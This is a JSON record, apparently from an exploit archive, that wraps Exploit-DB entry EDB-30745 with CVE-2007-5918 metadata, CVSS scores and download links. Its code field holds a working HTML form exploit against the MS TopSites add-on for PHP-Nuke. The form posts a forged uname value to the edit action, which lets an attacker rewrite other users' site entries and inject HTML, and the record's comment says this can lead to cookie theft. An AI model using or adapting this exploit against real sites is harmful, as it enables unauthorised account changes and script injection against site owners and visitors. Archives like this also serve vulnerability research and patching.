{"exploit":{"id":"EDB-30745","name":"Weblord.it MS-TopSites - Unauthorized Access / HTML Injection","description":"Weblord.it MS-TopSites - Unauthorized Access / HTML Injection","cves":["CVE-2007-5918"],"author":"0x90","published":"2007-11-06","platform":"php","type":"webapps","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/30745","path":"exploits/php/webapps/30745.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-30745.html","vulnerabilities":[{"id":"CVE-2007-5918","state":"PUBLISHED","title":null,"titleSource":null,"description":"Cross-site request forgery (CSRF) vulnerability in edit.php in the MS TopSites add-on for PHP-Nuke does not verify that the uname parameter matches the current account, which allows remote authenticated users to change arbitrary accounts or change the SiteTitleName field as an arbitrary user via a modified uname value in an edit action to modules.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-5918","cvss":{"version":"2.0","baseScore":6,"severity":"medium","vectorString":"AV:N/AC:M/Au:S/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-5918"},"updatedAt":"2024-08-07T15:47:00.500Z","retrievedAt":"2026-11-26T20:09:27.205Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-30745.png?v=2","url":"https://exploitbin.com/exploits/EDB-30745","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-30745/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-30745/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<!--\nsource: https://web.archive.org/web/2007/https://www.securityfocus.com/bid/26358/info\n\nMS-TopSites is prone to an unauthorized-access vulnerability and an HTML-injection vulnerability because the application fails to sufficiently sanitize user-supplied data.\n\nAn attacker can exploit these issues to gain elevated privileges on the affected application, execute arbitrary code within the context of the webserver, and steal cookie-based authentication credentials.\n-->\n\n<html><title>PhpNuke (add-on) MS TopSites Edit Exploit And Html Injection</title>\n<body bgcolor=\"black\" text=\"white\">\n<form action=\"http://localhost:81/modules.php?name=MS_TopSites&file=edit \" method=\"post\">\n<input size=\"92\" type=\"text\" value=&#039;&#039; name=\"sname\"> SiteNameTitle [sname] (not Target it must be changed in the source) <br />\n<input size=\"92\" type=\"text\" value=\"\" name=\"uname\"> Username [uname] <br />\n<input size=\"92\" type=\"text\" value=\" http://www.0x90.com.ar\" name=\"url\"> Url<br />\n<input size=\"92\" type=\"text\" value=\"mail@url.com\" name=\"email\"> Email<br />\n<input size=\"92\" type=\"text\" value=&#039;&#039; name=\"bottonurl\"> BottonUrl<br />\n<input size=\"92\" type=\"text\" value=\"Art\" name=\"cat\"> Cat <br />\n<input size=\"92\" type=\"text\" value=\"Wedonotneeddescriptions\" name=\"description\"> Descriptions<br />\n<input type=\"hidden\" value=\"MSTopSitesSaveSite\" name=\"op\"><br />\n<input type=\"submit\" value=\"submit\"><br />\n</body></form>\n</html>","sha256":"d7ce156ce614cc67ab3740813d7c00d2c71182840ac56669d38bfecc3295392d","bytes":1431,"fetchedAt":"2026-11-26T20:09:21.055Z","encoding":"utf-8 (display only; download retains original bytes)"}